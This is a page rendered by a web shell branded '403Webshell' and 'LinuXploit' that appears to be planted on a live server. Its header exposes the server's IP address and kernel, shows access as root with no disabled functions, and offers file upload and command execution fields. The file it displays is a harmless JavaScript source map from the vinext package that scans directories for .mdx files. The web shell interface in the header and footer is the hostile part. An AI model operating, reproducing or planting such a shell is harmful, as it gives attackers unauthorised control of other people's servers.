403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.216.37
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/utils/mdx-scan.js.map
{"version":3,"file":"mdx-scan.js","names":[],"sources":["../../src/utils/mdx-scan.ts"],"sourcesContent":["import fs from \"node:fs\";\nimport path from \"node:path\";\n\n/** Module-level cache for hasMdxFiles — avoids re-scanning per Vite environment. */\nexport const mdxScanCache = new Map<string, boolean>();\n\n/**\n * Check if the project has .mdx files in app/ or pages/ directories.\n */\nexport function hasMdxFiles(root: string, appDir: string | null, pagesDir: string | null): boolean {\n  const cacheKey = `${root}\\0${appDir ?? \"\"}\\0${pagesDir ?? \"\"}`;\n  if (mdxScanCache.has(cacheKey)) return mdxScanCache.get(cacheKey)!;\n  const dirs = [appDir, pagesDir].filter(Boolean) as string[];\n  for (const dir of dirs) {\n    if (fs.existsSync(dir) && scanDirForMdx(dir)) {\n      mdxScanCache.set(cacheKey, true);\n      return true;\n    }\n  }\n  mdxScanCache.set(cacheKey, false);\n  return false;\n}\n\nfunction scanDirForMdx(dir: string): boolean {\n  try {\n    const entries = fs.readdirSync(dir, { withFileTypes: true });\n    for (const entry of entries) {\n      if (entry.name.startsWith(\".\") || entry.name === \"node_modules\") continue;\n      const full = path.join(dir, entry.name);\n      if (entry.isDirectory()) {\n        if (scanDirForMdx(full)) return true;\n      } else if (entry.isFile() && entry.name.toLowerCase().endsWith(\".mdx\")) {\n        return true;\n      }\n    }\n  } catch {\n    // ignore unreadable dirs\n  }\n  return false;\n}\n"],"mappings":";;;;AAIA,MAAa,+BAAe,IAAI,KAAsB;;;;AAKtD,SAAgB,YAAY,MAAc,QAAuB,UAAkC;CACjG,MAAM,WAAW,GAAG,KAAK,IAAI,UAAU,GAAG,IAAI,YAAY;CAC1D,IAAI,aAAa,IAAI,SAAS,EAAE,OAAO,aAAa,IAAI,SAAS;CACjE,MAAM,OAAO,CAAC,QAAQ,SAAS,CAAC,OAAO,QAAQ;CAC/C,KAAK,MAAM,OAAO,MAChB,IAAI,GAAG,WAAW,IAAI,IAAI,cAAc,IAAI,EAAE;EAC5C,aAAa,IAAI,UAAU,KAAK;EAChC,OAAO;;CAGX,aAAa,IAAI,UAAU,MAAM;CACjC,OAAO;;AAGT,SAAS,cAAc,KAAsB;CAC3C,IAAI;EACF,MAAM,UAAU,GAAG,YAAY,KAAK,EAAE,eAAe,MAAM,CAAC;EAC5D,KAAK,MAAM,SAAS,SAAS;GAC3B,IAAI,MAAM,KAAK,WAAW,IAAI,IAAI,MAAM,SAAS,gBAAgB;GACjE,MAAM,OAAO,KAAK,KAAK,KAAK,MAAM,KAAK;GACvC,IAAI,MAAM,aAAa;QACjB,cAAc,KAAK,EAAE,OAAO;UAC3B,IAAI,MAAM,QAAQ,IAAI,MAAM,KAAK,aAAa,CAAC,SAAS,OAAO,EACpE,OAAO;;SAGL;CAGR,OAAO"}

Youez - 2016 - github.com/yon3zu
LinuXploit